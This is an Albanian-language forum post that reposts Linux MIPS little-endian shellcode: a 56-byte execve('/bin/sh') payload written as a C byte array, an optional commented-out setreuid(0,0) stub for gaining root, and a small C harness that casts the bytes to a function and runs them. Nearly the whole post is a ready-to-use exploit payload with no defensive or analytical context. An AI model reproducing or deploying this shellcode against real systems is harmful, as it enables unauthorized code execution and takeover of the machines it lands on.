Would you like to react to this message? Create an account in a few clicks or log in to continue.

    linux/mips execve /bin/sh 56 bytes

    Onyx.
    Onyx.
    Administrator
    Administrator


    Posts : 414
    Reputation : 0
    Join date : 23/12/2009

    linux/mips execve /bin/sh 56 bytes Empty linux/mips execve /bin/sh 56 bytes

    Mesazh nga Onyx. Wed Dec 23, 2009 4:12 pm

    Kodi:
    /* 56 bytes execve /bin/sh shellcode - linux-mipsel
    *
    * Note: For MIPS running in little-endian mode.
    * Tested on a Cobalt Qube2 server running Linux 2.4.18
    *
    * Greetz to bighawk... i couldn't get his execve to work
    * for some reason :/
    */

    char code[] =
    /* 16 byte setreuid(0,0) by bighawk */
    //"\xff\xff\x04\x30\xff\xff\x05\x30"
    //"\xe6\x0f\x02\x34\xcc\x48\x49\x03"

    /* 56 byte execve("/bin/sh",["/bin/sh"],[]) by core */
    "\xff\xff\x10\x04\xab\x0f\x02\x24"
    "\x55\xf0\x46\x20\x66\x06\xff\x23"
    "\xc2\xf9\xec\x23\x66\x06\xbd\x23"
    "\x9a\xf9\xac\xaf\x9e\xf9\xa6\xaf"
    "\x9a\xf9\xbd\x23\x21\x20\x80\x01"
    "\x21\x28\xa0\x03\xcc\xcd\x44\x03"
    "/bin/sh";

    main() {
    void (*a)() = (void *)code;
    printf("size: %d bytes\n", sizeof(code));
    a();
    }

      Ora është Mon Nov 25, 2024 1:30 am